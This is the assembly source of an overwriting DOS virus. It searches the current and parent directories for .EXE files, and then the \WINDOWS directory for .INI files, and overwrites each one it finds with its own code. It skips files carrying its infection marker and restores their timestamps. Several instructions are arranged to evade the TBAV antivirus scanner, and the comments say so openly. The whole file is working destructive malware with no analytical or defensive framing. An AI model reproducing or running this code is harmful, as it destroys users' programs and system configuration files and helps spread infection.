.model tiny           
.radix 16                                 ; lets use hex
.code        

           Org     100h                   ; This makes it *.COM
 
start:     Mov     Si,Si
           Mov     Ax, offset filemask1   ; This does nothing for the virus
           Rol     Ax,1                   ; but fools the heck out of Tbav
           Lea     Dx, [filemask1]        ; Point Dx To FileMask
           Mov     Ah, 4Eh                ; Find First Match
Getbad1:   Int     21h                    ; Let Dos Do It
           Jb      start2                 ; If No Matches Get Out
           Mov     Dl, 9Eh                ; Found One, Point To The FileName
           Mov     Dh, 00h
           Mov     Cl, 7Ah                ; This loads 7a04 into ax
           Xchg    Ah, Cl                 ; shr makes 7a04 into 3d02
           Mov     Al, 04h                ; '   '
           Shr     Ax,1                   ; Open The File Up
           Int     21h                    ; Let Dos Do It
           Xchg    Bx, Ax                 ; Put File Handle In Bx
           Mov     Ah,3f                  ; Read file
           Mov     Cx,4                   ; Read 4 bytes
           lea     dx,[return_bytes]      ; Load the offset dx
           int     21                  
           lea     di,[return_bytes]      ; Load the offset of
                                          ; the fourth byte
                                          ; we just read into
                                          ; the virus
           cmp     byte ptr ds:[di],8bh   ; 
           je      nxtmatch1              ; If so assume infected,
                                          ; close file, and run
                                          ; infection cycle again
           Mov     Ax,4202                ; Check file size
           Xor     Cx,Cx                  ; clear these registers
           Xor     dx,dx                  ; ''      ''
           Int     21                     ; Dos finds the end of the file
           cmp     Ax,1710                ; Returns the value in Ax 
           jb      nxtmatch1              ; if smaller that 6000 jump to next
           Xor     Cx,Cx                  ; We have to move the file pointer
           Xor     dx,dx                  ; back to the start of the victum
           Mov     Ax,4200
           Int     21
           Mov     Al,0                   ; Get and push the date 
           Mov     Ah,0aeh                ; '  '
           Ror     Ah,1                   ; '  '
           Int     21h                    ; '  '
           Push    Cx                     ; '  '
           Push    dx                     ; '  '
           Xor     Dl,Dl                  ; gotta keep those register straight
           Mov     dx, 0200h              ; Start Writing At 0100h
           dec     Dh                     ; trying to be a little trickey
           Mov     Cx, 0FFFh              ; Write the virus
           Mov     Ah, 40h                ; Write File
           Int     21h                    ; Let Dos Do It
           Mov     Al,1                   ; pop and set the date time
           Mov     Ah,0aeh                ; '  '
           Ror     Ah,1                   ;
           Pop     dx                     ; '  '
           Pop     Cx                     ; '  '
           Int     21h                    ; '  '
           Mov     Ah, 3Eh                ; Close File
           Int     21h                    ; Let Dos do it
           Xor     Cx,Cx                  ; Clear these two before going 
           Xor     Ax,Ax                  ; any further
           ;jmp     nxtmatch2
NxtMatch1: Mov     Ah, 3Eh                ; Close File
           Int     21h                    ; Let Dos do it
           Mov     Ah, 4Fh                ; Find Next Match
           jmp     Getbad1                ; Call To Start the overwrite
           
start2:    push    cs                     ; This part of the code performs 
           pop     ds                     ; the simple method of directory
           Mov     dx, offset Path_name1  ; changes cd..
           Mov     Ah,3bh
           int     21                     ; Dos helps us
           nop
           nop
           jc      start3                 ; If we can't change exit
           nop
           nop
           jmp     start

start3:    push    cs                     ; This part of the code performs 
           pop     ds                     ; the simple method of directory
           Mov     dx, offset Path_name   ; changes to windows
           Mov     Ah,3bh
           int     21                     ; Dos helps us
           jc      error                  ; If we can't change exit
           Mov     Si,Si
           Mov     Ax, offset filemask2   ; This does nothing for the virus
           Rol     Ax,1                   ; but fools the heck out of Tbav
           Lea     Dx, [filemask2]        ; Point Dx To FileMask
           Mov     Ah, 4Eh                ; Find First Match
Getbad2:   Int     21h                    ; Let Dos Do It
           Jb      Outahere2              ; If No Matches Get Out
           Mov     Dl, 9Eh                ; Found One, Point To The FileName
           Mov     Dh, 00h
           Mov     Cl, 7Ah                ; This loads 7a04 into ax
           Xchg    Ah, Cl                 ; shr makes 7a04 into 3d02
           Mov     Al, 04h                ; '   '
           Shr     Ax,1                   ; Open The File Up
           Int     21h                    ; Let Dos Do It
           Xchg    Bx, Ax                 ; Put File Handle In Bx
           Mov     Ah,3f                  ; Read file
           Mov     Cx,4                   ; Read 4 bytes
           lea     dx,[return_bytes]      ; Load the offset dx
           int     21                  
           lea     di,[return_bytes]      ; Load the offset of
                                          ; the fourth byte
                                          ; we just read into
                                          ; the virus
           cmp     byte ptr ds:[di],8bh   ; 
           je      nxtmatch2              ; If so assume infected,
                                          ; close file, and run
                                          ; infection cycle again
                                     
           Mov     Ax,4202                ; Check file size
           Xor     Cx,Cx                  ; Clear these registers
           Xor     dx,dx                  ; ''      ''
           Int     21                     ; Dos finds the end of the file
           cmp     Ax,0009h               ; Returns the value in Ax 
           jb      nxtmatch2              ; if smaller that 6000 jump to next
           Xor     Cx,Cx                  ; We have to move the file pointer
           Xor     dx,dx                  ; back to the start of the victum
           Mov     Ax,4200
           Int     21
           
           Mov     Al,0                   ; Get and push the date 
           Mov     Ah,0aeh                ; '  '
           Ror     Ah,1                   ; '  '
           Int     21h                    ; '  '
           Push    Cx                     ; '  '
           Push    dx                     ; '  '
           Xor     Dl,Dl                  ; gotta keep those register straight
           Mov     dx, 0200h              ; Start Writing At 0100h
           dec     Dh                     ; trying to be a little trickey
           Mov     Cx, 3000h              ; Write the virus
           Mov     Ah, 40h                ; Write File
           Int     21h                    ; Let Dos Do It
           Mov     Al,1                   ; pop and set the date time
           Mov     Ah,0aeh                ; '  '
           Ror     Ah,1                   ;
           Pop     dx                     ; '  '
           Pop     Cx                     ; '  '
           Int     21h                    ; '  '
           Mov     Ah, 3Eh                ; Close File
           Int     21h                    ; Let Dos do it
           Xor     Cx,Cx                  ; Clear these two before going 
           Xor     Ax,Ax                  ; any further
           jmp     nxtmatch2  
NxtMatch2: Mov     Ah, 3Eh                ; Close File
           Int     21h                    ; Let Dos do it
           Mov     Ah, 4Fh                ; Find Next Match
           jmp     Getbad2                ; Call To Start the overwrite
outahere2: ret                          
error:    ret                           
Filemask1: db      '*.EXE',0  
Filemask2: db      '*.INI',0
Path_name: db      '\WINDOWS',0
path_name1: db      '..',0
return_bytes:      dw   ?  
        End   start
        End   code